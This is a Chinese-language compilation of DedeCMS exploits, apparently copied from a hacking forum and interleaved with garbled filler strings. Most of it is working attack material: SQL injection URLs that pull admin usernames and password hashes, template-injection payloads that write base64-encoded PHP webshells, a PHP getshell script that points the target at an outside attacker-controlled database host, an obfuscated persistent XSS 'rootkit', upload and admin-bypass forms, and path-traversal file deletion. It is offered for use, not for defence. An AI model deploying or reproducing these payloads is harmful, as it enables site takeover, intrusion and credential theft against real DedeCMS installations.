dedecms漏洞总结

admin

) C6 x0 @& {+ G. U' w, vDedecms 5.6 rss注入漏洞
  j6 H8 V# `  _- k! Q, a" Lhttp://www.test.com/plus/rss.php?tid=1&_Cs[][1]=1&_Cs[2))%20AND%20%22%27%22%20AND%20updatexml%281,%28SELECT CONCAT%280x5b,uname,0x3a,MID%28pwd,4,16%29,0x5d%29%20FROM%20dede_admin%29,1%29%23'][0]=1
& v, B+ w$ @( V, O( B9 ?  {3 w
' m: m: e4 g# c' R
( {  Y0 z4 e8 {1 _7 S4 |/ X7 T
1 A0 k/ A2 j! n' |* q+ }

1 ^) |4 ?4 T$ S6 H$ k. ?. S
' W7 {% U* d- x0 Y
& Y9 r) m, h+ _$ f' ]$ g+ E; K' \# }
DedeCms v5.6 嵌入恶意代码执行漏洞
5 Y/ b! g' U- q& h$ S注册会员，上传软件：本地地址中填入 a{/dede:link}{dede:toby57 name\="']=0;phpinfo();//"}x{/dede:toby57}
- b4 _: x" [9 [$ L6 ~4 ]% Y# U2 I发表后查看或修改即可执行
a{/dede:link}{dede:toby57 name\="']=0;fputs(fopen(base64_decode(eC5waHA),w),base64_decode(PD9waHAgZXZhbCgkX1BPU1RbeGlhb10pPz5iYWlkdQ));//"}x{/dede:toby57}
生成x.php 密码xiao，直接生成一句话。


, P% d( `; I4 }. ]6 S5 s
- ~( f, _# b+ v' J# y& v9 u
6 z' @# x8 Y& F  ]; N! ^5 @
! v' R9 }6 y6 M


5 E; e# f9 _- \8 w# g$ JDede 5.6 GBK SQL注入漏洞
http://www.test.com//member/index.php?uid=''%20||%20''''%20||%20''%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7'';
http://www.test.com//member/index.php?uid=%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7WFXSSProbe
9 H2 `' H: @3 k" V4 {http://www.test.com/member/index.php?uid=%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7

; h; |' I( A' j8 T


1 D1 i9 r9 v* g/ E, x
" G+ ?# A2 E( k+ U

7 f/ l# q- t. v3 _
7 C$ d  t3 g9 b  H& W; q" YDedeCms V5.6 plus/advancedsearch.php 任意sql语句执行漏洞
) q  i5 o9 {. J8 @http://www.test.com/plus/advancedsearch.php?mid=1&sql=SELECT%20*%20FROM%20`%23@__admin`


/ g/ [) o# \# [3 r5 S+ f% [2 A' O



DEDECMS 全版本 gotopage变量XSS漏洞
1.复制粘贴下面的URL访问，触发XSS安装XSS ROOTKIT,注意IE8/9等会拦截URL类型的XSS漏洞，需关闭XSS筛选器。
8 g4 y$ h/ ?* X  K9 I) [0 whttp://v57.demo.dedecms.com/dede/login.php?gotopage="><script>eval(String.fromCharCode(80,101,114,115,105,115,116,101,110,99,101,95,100,97,116,97,61,39,34,62,60,115,99,114,105,112,116,62,97,108,101,114,116,40,47,120,115,115,32,114,111,111,116,107,105,116,33,47,41,60,47,115,99,114,105,112,116,62,60,120,61,34,39,59,32,13,10,118,97,114,32,100,97,116,101,61,110,101,119,32,68,97,116,101,40,41,59,13,10,118,97,114,32,101,120,112,105,114,101,68,97,121,115,61,51,54,53,59,32,13,10,100,97,116,101,46,115,101,116,84,105,109,101,40,100,97,116,101,46,103,101,116,84,105,109,101,40,41,43,101,120,112,105,114,101,68,97,121,115,42,50,52,42,51,54,48,48,42,49,48,48,48,41,59,13,10,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,61,39,103,111,116,111,112,97,103,101,61,39,43,80,101,114,115,105,115,116,101,110,99,101,95,100,97,116,97,43,39,59,101,120,112,105,114,101,115,61,39,43,100,97,116,101,46,116,111,71,77,84,83,116,114,105,110,103,40,41,59,13,10,97,108,101,114,116,40,39,88,115,115,32,82,111,111,116,107,105,116,32,73,110,115,116,97,108,108,32,83,117,99,99,101,115,115,102,117,108,32,33,33,33,33,39,41,59))</script><x="

0 v: _% C4 z2 J. L' b& m1 ^/ Y/ S7 U
2.关闭浏览器，无论怎么访问下面的任意URL，都会触发我们的XSS。
! P8 E8 P* L- @2 ?http://v57.demo.dedecms.com/dede/login.php?gotopage=dasdasdasda
/ u9 a- w2 T6 _/ n- \$ s

! Y' x1 q  ]. k& C7 e  ihttp://v57.demo.dedecms.com/dede/login.php
' e$ f# d7 |4 Y) \

color=Red]DeDeCMS(织梦)变量覆盖getshell
9 H; K0 N) e0 @/ J#!usr/bin/php -w
<?php
3 F- A* R; V; A5 i( d+ J9 R* berror_reporting(E_ERROR);
set_time_limit(0);
& F# o6 ^6 o  n2 b$ S: Dprint_r('
% ]9 Y' q/ }: l8 s) G2 P2 eDEDEcms Variable Coverage
Exploit Author: www.heixiaozi.comwww.webvul.com
);
5 t1 Y! ], U4 v* W1 lecho "\r\n";
* n) S$ C4 Z, eif($argv[2]==null){
, j/ h& k5 {+ r. K/ }$ y# yprint_r('
0 a% F0 m( k% ^0 l+ _4 F+ ]) T+---------------------------------------------------------------------------+
Usage: php '.$argv[0].' url aid path
aid=1 shellpath /data/cache aid=2 shellpath= / aid=3 shellpath=/plus/
7 @$ d# d: a- iExample:
) w% v9 `3 K: S! p& j! W! t: r1 uphp '.$argv[0].' www.site.com 1 old
3 d; H8 }" b3 I3 M3 i+---------------------------------------------------------------------------+
');
exit;
}
$url=$argv[1];
$aid=$argv[2];
4 V5 f: z; p' t$path=$argv[3];
$exp=Getshell($url,$aid,$path);
- g0 Z$ B& M0 g& Eif (strpos($exp,"OK")>12){
echo "
Exploit Success \n";
$ D* T, @1 f  Kif($aid==1)echo "
( d/ K* k  G! _Shell:".$url."/$path/data/cache/fuck.php\n" ;
1 W" m, o  [& ~: x2 y
8 v( ~- x) b: |3 I8 o
if($aid==2)echo "
Shell:".$url."/$path/fuck.php\n" ;
) E$ X- m9 ?7 V: C6 W$ F

, P' u1 H3 s$ K# l  O: v/ E# wif($aid==3)echo "
Shell:".$url."/$path/plus/fuck.php\n";
4 q2 m$ }6 g+ S4 [; {; w% u2 _  g
; n% z& k/ h2 n7 U. a0 Y2 a
, d5 o! }: J3 R7 O  G}else{
7 B  J* m5 ^6 y' Qecho "
) v; |) g7 ]* _0 A3 t6 DExploit Failed \n";
7 C& U- T$ |, f2 J! P4 ^. v3 @6 T}
: T2 S  o9 S" V' _# @- _. afunction Getshell($url,$aid,$path){
$id=$aid;
! }* s5 y! S; _9 r  }2 Y% q$host=$url;
2 B- A  L7 ?+ c) u& d$port="80";
$ @  q9 Z$ a: Q6 y/ N' m0 z$content ="doaction=http%3A%2F%2F$host%2Fplus%2Fmytag_js.php%3Faid%3D1&_COOKIE%5BGLOBALS%5D%5Bcfg_dbhost%5D=184.105.174.114&_COOKIE%5BGLOBALS%5D%5Bcfg_dbuser%5D=exploit&_COOKIE%5BGLOBALS%5D%5Bcfg_dbpwd%5D=90sec&_COOKIE%5BGLOBALS%5D%5Bcfg_dbname%5D=exploit&_COOKIE%5BGLOBALS%5D%5Bcfg_dbprefix%5D=dede_&nocache=true&QuickSearchBtn=%CC%E1%BD%BB";
- H2 a8 ~# w0 b9 v2 Y0 N$data = "POST /$path/plus/mytag_js.php?aid=".$id." HTTP/1.1\r\n";
* s$ f" a8 T$ f: r$data .= "Host: ".$host."\r\n";
! v) Q7 g3 a& _/ R2 g& b9 H* _$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";
+ B% U1 J4 E/ f: I# f7 `# b9 A$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
8 R- q5 E* t; ^1 ?7 G$data .= "Accept-Language: zh-cn,zh;q=0.5\r\n";
: \( Y. Y# _4 X$ c//$data .= "Accept-Encoding: gzip,deflate\r\n";
$data .= "Accept-Charset: GB2312,utf-8;q=0.7,*;q=0.7\r\n";
' {8 N. O. u1 d$ g$data .= "Connection: keep-alive\r\n";
$data .= "Content-Type: application/x-www-form-urlencoded\r\n";
$data .= "Content-Length: ".strlen($content)."\r\n\r\n";
$data .= $content."\r\n";
$ock=fsockopen($host,$port);
if (!$ock) {
echo "
# b! @' v( O; v4 ~7 dNo response from ".$host."\n";
}
fwrite($ock,$data);
# B! ^, [/ b) awhile (!feof($ock)) {
) y& q+ M$ L# j! x2 z( F5 L4 R% B$exp=fgets($ock, 1024);
return $exp;
}
}


?>

3 n# r. m* q& @5 {) j
* e, n  F  V8 [; P" |8 s+ o







DedeCms v5.6-5.7 越权访问漏洞(直接进入后台)
8 H: {& e$ ~% k' V! t# G+ g; R& ~http://www.ssvdb.com/织梦网站后台/login.php?dopost=login&validate=dcug&userid=admin&pwd=inimda&_POST[GLOBALS][cfg_dbhost]=116.255.183.90&_POST[GLOBALS][cfg_dbuser]=root&_POST[GLOBALS][cfg_dbpwd]=r0t0&_POST[GLOBALS][cfg_dbname]=root


把上面validate=dcug改为当前的验证码，即可直接进入网站后台
9 a& U/ Y* X0 a0 x5 e
# b1 j3 W/ G# f9 L# s
此漏洞的前提是必须得到后台路径才能实现

' @0 }/ W- d( N6 N6 Q



# c; F" K" l# m  Q! M6 k4 M' E! R; I1 s
9 _3 }8 N/ L2 z8 J( M2 X2 m  M& ?: j


' ]% `3 N2 {' g! \0 y8 O! P
Dedecms织梦 标签远程文件写入漏洞
前题条件，必须准备好自己的dede数据库，然后插入数据： insert into dede_mytag(aid,normbody) values(1,''{dede:php}$fp = @fopen("1.php", \''a\'');@fwrite($fp, \''\'');echo "OK";@fclose($fp);{/dede:php}'');
( \$ `/ E5 {1 q
+ U3 N9 G& G/ s7 x  y- {
再用下面表单提交，shell 就在同目录下 1.php。原理自己研究。。。
<form action="" method="post" name="QuickSearch" id="QuickSearch">
<input type="text" value="http://www.tmdsb.com/plus/mytag_js.php?aid=1" name="doaction" style="width:400"><br />
<input type="text" value="dbhost" name="_COOKIE[GLOBALS][cfg_dbhost]" style="width:400"><br />
- Y# f" W  d- t<input type="text" value="dbuser" name="_COOKIE[GLOBALS][cfg_dbuser]" style="width:400"><br />
<input type="text" value="dbpwd" name="_COOKIE[GLOBALS][cfg_dbpwd]" style="width:400"><br />
<input type="text" value="dbname" name="_COOKIE[GLOBALS][cfg_dbname]" style="width:400"><br />
+ a+ O% P9 }+ z) a8 F8 H3 b1 \<input type="text" value="dede_" name="_COOKIE[GLOBALS][cfg_dbprefix]" style="width:400"><br />
<input type="text" value="true" name="nocache" style="width:400">
<input type="submit" value="提交" name="QuickSearchBtn"><br />
</form>
<script>
$ ~; d5 |4 C: l/ K8 Afunction addaction()
) a" Z5 [% Z/ m) T: P/ }$ ]- L% E6 ^{
! A; e9 S. K0 Ldocument.QuickSearch.action=document.QuickSearch.doaction.value;
}
</script>
, Y$ f% U) M9 u& s" E: V
2 M  k5 \$ P- Y1 G

; V. F6 _. h4 |/ L1 T' @
/ }( T, L4 P# A! h0 ~; M! z
( V0 _1 ~% ~" z* I# a
; Q5 s/ L- k( u1 T



; c$ }( k; ]4 c3 k- S7 NDedeCms v5.6 嵌入恶意代码执行漏洞
3 ?$ w$ i- |, ~# a( _注册会员，上传软件：本地地址中填入a{/dede:link}{dede:toby57 name\="']=0;phpinfo();//"}x{/dede:toby57}，发表后查看或修改即可执行
a{/dede:link}{dede:toby57 name\="']=0;fputs(fopen(base64_decode(eC5waHA),w),base64_decode(PD9waHAgZXZhbCgkX1BPU1RbeGlhb10pPz5iYWlkdQ));//"}x{/dede:toby57}
% Q* `. h% V/ L; R: z! }9 G生成x.php 密码：xiao直接生成一句话。密码xiao 大家懂得
Dedecms <= V5.6 Final模板执行漏洞
, c4 b. y, o; Q- K1 @0 {/ j注册一个用户，进入用户管理后台，发表一篇文章，上传一个图片，然后在附件管理里，把图片替换为我们精心构造的模板，比如图片名称是：
" s4 j+ r3 G- `* muploads/userup/2/12OMX04-15A.jpg
/ b0 {; r: o8 n  k& ~
. a: t2 V9 X7 I  A2 ~
# q! w+ ?+ s- s7 X# J( d模板内容是（如果限制图片格式，加gif89a）：
1 W0 Y: I+ o' x- w- j{dede:name runphp='yes'}
9 f0 P2 i2 C2 E- ~. k$fp = @fopen("1.php", 'a');
@fwrite($fp, '<'.'?php'."\r\n\r\n".'eval($_POST[cmd])'."\r\n\r\n?".">\r\n");
$ z8 X4 j- s1 ]: X% J@fclose($fp);
  @1 i: `% O- H$ ]# g" ^7 u{/dede:name}
2 修改刚刚发表的文章，查看源文件，构造一个表单：
<form class="mTB10 mL10 mR10" name="addcontent" id="addcontent" action="http://127.0.0.1/dede/member/article_edit.php" method="post" enctype="multipart/form-data">
# `7 ^+ V7 C' B. |5 n0 O- ]<input type="hidden" name="dopost" value="save" />
<input type="hidden" name="aid" value="2" />
<input type="hidden" name="idhash" value="f5f682c8d76f74e810f268fbc97ddf86" />
<input type="hidden" name="channelid" value="1" />
<input type="hidden" name="oldlitpic" value="" />
<input type="hidden" name="sortrank" value="1275972263" />


( E' U( _, d: N6 j8 o7 o<div id="mainCp">
<h3 class="meTitle"><strong>修改文章</strong></h3>
5 t. H2 w( j* z+ {" O4 d; _

<div class="postForm">
<label>标题：</label>
<input name="title" type="text" id="title" value="11233ewsad" maxlength="100" class="intxt"/>


<label>标签TAG：</label>
<input name="tags" type="text" id="tags" value="hahah,test" maxlength="100" class="intxt"/>(用逗号分开)
- q, _* U/ ]' P
& g, `, e& W& l- [( `
<label>作者：</label>
8 @  v) T, V$ m4 L7 H<input type="text" name="writer" id="writer" value="test" maxlength="100" class="intxt" style="width:219px"/>

- B& {+ l+ D1 R% f
' M/ u: V8 s2 h2 r2 A$ V+ V2 ^<label>隶属栏目：</label>
( G9 h- ~0 G8 b: r<select name='typeid' size='1'>
<option value='1' class='option3' selected=''>测试栏目</option>
</select> <span style="color:#F00">*</span>(不能选择带颜色的分类)


2 a; W! l$ A' C6 h! t<label>我的分类：</label>
% H3 C7 i6 i! y% T<select name='mtypesid' size='1'>
<option value='0' selected>请选择分类...</option>
<option value='1' class='option3' selected>hahahha</option>
</select>
& n8 y; R" ~' l; R3 ~2 {

<label>信息摘要：</label>
<textarea name="description" id="description">1111111</textarea>
& e# _: U! h) t* H(内容的简要说明)
' p8 y: C0 F7 R* M* }9 l
# T: \" z/ d6 _: g
<label>缩略图：</label>
<input name="litpic" type="file" id="litpic" maxlength="100" class="intxt"/>
1 K& M+ g4 o6 T# R7 f5 p+ ]- c
# A9 `  N! v8 r$ T" Y+ g
<input type='text' name='templet'
value="../ uploads/userup/2/12OMX04-15A.jpg">
<input type='text' name='dede_addonfields'
! T1 l  c7 Q1 }0 V+ L/ ~value="templet,htmltext;">（这里构造）
</div>


" y3 T! C& V% m5 v- ~  q<!-- 表单操作区域 -->
, _! z+ `$ }% t1 F8 Y" |<h3 class="meTitle">详细内容</h3>
' t2 m/ f" B( K9 ]* f" @
4 p4 o4 t7 T6 \9 Z7 ]( a
<div class="contentShow postForm">
$ ?* }3 S' a$ O* s# e! }0 W0 Y, L<input type="hidden" id="body" name="body" value="<div><a href="http://127.0.0.1/dede/uploads/userup/2/12OMX04-15A.jpg" target="_blank"><img border="0" alt="" src="http://127.0.0.1/dede/uploads/userup/2/12OMX04-15A.jpg" width="1010" height="456" /></a></div> <p><?phpinfo()?>1111111</p>" style="display:none" /><input type="hidden" id="body___Config" value="FullPage=false" style="display:none" /><iframe id="body___Frame" src="/dede/include/FCKeditor/editor/fckeditor.html?InstanceName=body&Toolbar=Member" width="100%" height="350" frameborder="0" scrolling="no"></iframe>
/ @; n3 _( N9 p. D, N5 ?2 R

<label>验证码：</label>
<input name="vdcode" type="text" id="vdcode" maxlength="100" class="intxt" style='width:50px;text-transform:uppercase;' />
1 x& p8 h  y1 v6 B<img src="http://127.0.0.1 /dede/include/vdimgck.php" alt="看不清？点击更换" align="absmiddle" style="cursor:pointer" />


" B0 ~/ }) i$ F" i# J( r<button class="button2" type="submit">提交</button>
<button class="button2 ml10" type="reset">重置</button>
5 x- B* e+ p0 C. w# t1 B8 B</div>


0 [$ H' J0 Z! U9 [</div>
4 a! s0 B8 q2 G8 e6 O8 U3 r
1 g% g3 E/ x& V# n- {
7 X& S3 g( |5 J+ O1 m</form>

. I5 D: Z& g) ^! A
提交，提示修改成功，则我们已经成功修改模板路径。 3 访问修改的文章：
假设刚刚修改的文章的aid为2，则我们只需要访问：
http://127.0.0.1/dede/plus/view.php?aid=2
; v$ `/ s, Y: b! A" R' X8 S$ A% a0 `即可以在plus目录下生成webshell：1.php
1 Z  B- W5 F; F4 N. T( f5 W2 Q


, c* }8 J% h. `! o1 f
8 Q3 p' [% H& t. _


0 B( p% P: y0 M1 h7 X4 ]7 o
: t9 t9 V1 t; T+ }

" _9 }! b- V3 t3 Y9 p+ ~% _

2 C/ U2 H& U8 y/ _# m3 J/ h5 _DEDECMS网站管理系统Get Shell漏洞(5.3/5.6)
Gif89a{dede:field name='toby57' runphp='yes'}
phpinfo();
{/dede:field}
6 o9 P& Z( }/ A3 q) G" S0 o保存为1.gif
% ^2 z! F0 j# e7 i0 @<form action="http://192.168.1.5/DedeCmsV5.6-GBK-Final/uploads/member/uploads_edit.php" method="post" enctype="multipart/form-data" ">
<input type="hidden" name="aid" value="7" />
$ W3 j% ^. L' D- v4 j<input type="hidden" name="mediatype" value="1" />
<input type="text" name="oldurl" value="/DedeCmsV5.6-GBK-Final/uploads/uploads/userup/3/1.gif" /></br>
% F7 _5 T( M, u+ H) c1 K1 D<input type="hidden" name="dopost" value="save" />
<input name="title" type="hidden" id="title" value="1.jpg" class="intxt"/>
" Y1 @/ o) E1 W( p4 B6 D<input name="addonfile" type="file" id="addonfile"/>
& D" V3 _- W2 E2 r" Q5 [<button class="button2" type="submit" >更改</button>
* x! g" r) T5 L: R1 C</form>

. M" a  Y" S9 n" X" Y' m6 T# P
+ c) [9 J, [4 ~7 |5 ^/ ?, z构造如上表单，上传后图片保存为/uploads/userup/3/1.gif
发表文章，然后构造修改表单如下：

7 g0 {5 I! |! q4 G: |0 J
/ b5 R2 O7 C1 e0 m<form action="http://192.168.1.5/DedeCmsV5.6-GBK-Final/uploads/member/article_edit.php" method="post" enctype="multipart/form-data">
3 `' q. d2 C$ ?<input type="hidden" name="dopost" value="save" />
<input type="hidden" name="aid" value="2" />
, R# v; }! g8 w<input type="hidden" name="idhash" value="ec66030e619328a6c5115b55483e8dbd" />
<input type="hidden" name="channelid" value="1" />
<input type="hidden" name="oldlitpic" value="" />
3 ^$ O; }) x7 N' {8 Z. [* Y<input type="hidden" name="sortrank" value="1282049150" />
5 {: K1 R8 V. K1 H<input name="title" type="text" id="title" value="aaaaaaaaaaaaaaa" maxlength="100" class="intxt"/>
<input type="text" name="writer" id="writer" value="123456" maxlength="100" class="intxt" style="width:219px"/>
4 t* R9 j$ t/ V/ i$ q- T7 x<select name='typeid' size='1'>
<option value='1' class='option3' selected=''>Test</option>
<select name='mtypesid' size='1'>
! _; H  Z! L! J) L: l8 g/ y3 B6 o<option value='0' selected>请选择分类...</option>
$ ~; A( F, g4 q  p2 F; R<option value='1' class='option3' selected>aa</option></select>
5 e2 F6 O  h* w: e1 k<textarea name="description" id="description">aaaaaaaaaaaaa</textarea>
<input type='hidden' name='dede_addonfields' value="templet">
" e% g5 z/ K2 L: y# W<input type='hidden' name='templet' value="../uploads/userup/3/1.gif">
<input type="hidden" id="body" name="body" value="aaaa" style="display:none" />
% X$ c. s  f( `! X9 Y<button class="button2" type="submit">提交</button>
</form>
5 k( F) A5 g/ h6 I7 T! a7 G" r+ W# }# }
% d1 P; F. N5 \6 P3 T7 t
& O+ t. M/ W6 I  c& ~5 e


, D' L, {  @/ a& U2 q8 S
  c  N! ]' H- H

/ i2 r5 F4 P8 [
& M" Y9 c$ k4 L5 v4 _, J" q

5 c4 y' T" a" F& D, l. ?% Y3 t
织梦(Dedecms)V5.6 远程文件删除漏洞
http://test.com/member/edit_face.php?dopost=delold&oldface=/uploads/userup/8/../../../member/templets/images/m_logo.gif

( y2 l0 E9 [4 C7 D8 X
" w) a/ z. T+ W9 C: h9 l
9 l# ^4 Q# k% O' L( e# D9 F6 d





3 b: g( [: o4 F
0 g6 c2 P+ n: F( C' |织梦(Dedecms) V5.6 plus/carbuyaction.php 本地文件包含漏洞
http://www.test.com/plus/carbuya ... urn&code=../../
( ~; C& B/ _9 c4 L6 |
# Z! ~( f& D- B7 s6 B% U# s6 Z

: Z5 u& Y# C/ _) u7 Z9 P9 {- e& E
+ `. a3 @9 f. y4 e1 n$ l8 Z# P

  M* l( b% S- L3 Y
) G7 |) B& T" S% @' k; I& ~

% d5 c5 A0 [  l- E) I% D
# X* |$ _8 y6 H! Y1 YDedeCms V5.6 plus/advancedsearch.php 任意sql语句执行漏洞
plus/advancedsearch.php?mid=1&sql=SELECT%20*%20FROM%20`%23@__admin`
6 w5 }% ^" L, Z4 @& h4 W9 m% l2 f" K# L密码是32位MD5减去头5位，减去尾七位，得到20 MD5密码，方法是，前减3后减1，得到16位MD5
) ~6 B2 }* [+ K
+ s- }/ L, j7 y3 [8 S
& F+ [0 |5 ~' N9 E/ y
4 O8 b8 V* U7 P6 ^; j& h4 j

/ d: S3 S6 e, F1 M% f5 c


* U6 m7 I9 p( r4 |. z
/ C3 E9 u8 E$ j9 g
9 G. v* Y3 m- g9 Z4 f织梦(Dedecms) 5.1 feedback_js.php 注入漏洞
0 r( o: S  W% i" Z0 uhttp://st0p/dedecms51/plus/feedback_js.php?arcurl=' union select "' and 1=2 union select 1,1,1,userid,3,1,3,3,pwd,1,1,3,1,1,1,1,1 from dede_admin where 1=1 union select * from dede_feedback where 1=2 and ''='" from dede_admin where ''='

) \" m" N& o0 ^1 B8 \8 c
8 ^7 L; ]' X4 }% D: J$ M
; E. i( h% \! ]- s
* }$ t# w# v' v5 v


3 N( g* }; \& b5 _! {, q; o4 n
4 y) h, s# h& m: u
7 c7 p- \9 ?! s6 E2 i2 A2 C$ P
织梦(Dedecms)select_soft_post.php页面变量未初始漏洞
5 u$ u2 `1 K/ S<html>
0 X0 J& w  P6 e( o9 t( S* n<head>
# i2 B) J: p9 q) O; ?6 E<title>Dedecms v55 RCE Exploit Codz By flyh4t</title>
</head>
<body style="FONT-SIZE: 9pt">
---------- Dedecms v55 RCE Exploit Codz By flyh4t---------- <br /><br />
  `* o; K  C# U: t0 [0 {0 n<form action=http://www.nuanyue.com/uploads/include/dialog/select_soft_post.php method='POST' enctype="multipart/form-data" name='myform'>
<input type='hidden' name='activepath' value='/data/cache/' />
( o0 C7 A! _; f8 }- T8 O1 Z<input type='hidden' name='cfg_basedir' value='../../' />
5 X, v9 Y  ?) T0 D$ P8 p1 U<input type='hidden' name='cfg_imgtype' value='php' />
- d6 z9 y; V" g& J; K0 z3 l" ]7 O<input type='hidden' name='cfg_not_allowall' value='txt' />
9 A) v/ O% l9 {9 Z<input type='hidden' name='cfg_softtype' value='php' />
<input type='hidden' name='cfg_mediatype' value='php' />
<input type='hidden' name='f' value='form1.enclosure' />
% D3 D) ?2 f9 A6 f7 D6 g% L6 C, i<input type='hidden' name='job' value='upload' />
<input type='hidden' name='newname' value='fly.php' />
8 g( v0 y+ q% w5 YSelect U Shell <input type='file' name='uploadfile' size='25' />
<input type='submit' name='sb1' value='确定' />
2 v5 e8 @4 Z, h7 q  ^* d1 y</form>
) H5 ~/ y+ Z* P8 O<br />It's just a exp for the bug of Dedecms V55...<br />
3 }4 e& l: j9 BNeed register_globals = on...<br />
Fun the game,get a webshell at /data/cache/fly.php...<br />
</body>
# e3 |! h2 a- Y1 R! N& ^5 P</html>
7 ~; G# p2 h& t
+ J8 E( v0 v8 e4 h6 O5 ]
7 a% w% g) X- }( j
4 y2 U3 k( y/ V# ^. d
% B- Q+ e8 g: Q# }9 x


6 C$ c: n3 a- H' q) B, N3 [$ Y
/ Y3 t. ^2 u: r7 o" h& I3 B
7 U5 Y) @. ]% }* A6 [/ \
织梦(dedecms)5.3 – 5.5 plus/digg_frame.php 注入漏洞
利用了MySQL字段数值溢出引发错误和DEDECMS用PHP记录数据库错误信息并且文件头部没有验证的漏洞。
# Y7 X3 }* k+ F/ j7 _" A* \) h1. 访问网址：
http://www.abc.com/plus/digg_fra ... 024%651024&mid=*/eval($_POST[x]);var_dump(3);?>
可看见错误信息

( q+ z# U6 t  g. b, G* O* D
5 S. W+ N/ w+ D$ H, T; a2. 访问 http://www.abc.com/data/mysql_error_trace.php 看到以下信息证明注入成功了。
& e9 v# |' Z: l9 J/ w! gint(3) Error: Illegal double '1024e1024' value found during parsing
Error sql: Select goodpost,badpost,scores From `gxeduw_archives` where id=1024e1024 limit 0,1; */ ?>


- C! f! X0 H: Z  u1 f3. 执行dede.rar里的文件 test.html，注意 form 中 action 的地址是


<form action=”http://www.abc.com/data/mysql_error_trace.php” enctype=”application/x-www-form-urlencoded” method=”post”>


1 W0 e* s* z$ x# o. e& G+ Y按确定后的看到第2步骤的信息表示文件木马上传成功.
2 T1 N8 |- b1 N7 B  y
( ~6 Q3 M6 |2 |& k$ l0 `; I  b+ b. C
6 ^- w. Q" ?! w2 W
1 b: C/ ]# ?) |4 P& D
. @: q$ F7 u/ U' f4 B2 B, J7 G
7 f8 M3 C" i" Z* o6 `1 V4 w



: k1 N* n8 v( w

0 K4 {6 j, c$ y) X, U; X  l) Y2 Q
! C1 Y5 i5 A' u. d织梦(DedeCms)plus/infosearch.php 文件注入漏洞
http://localhost/plus/infosearch.php?action=search&q=%cf'%20union%20select%201,2,userid,4,pwd,6%20from%20dede_admin/*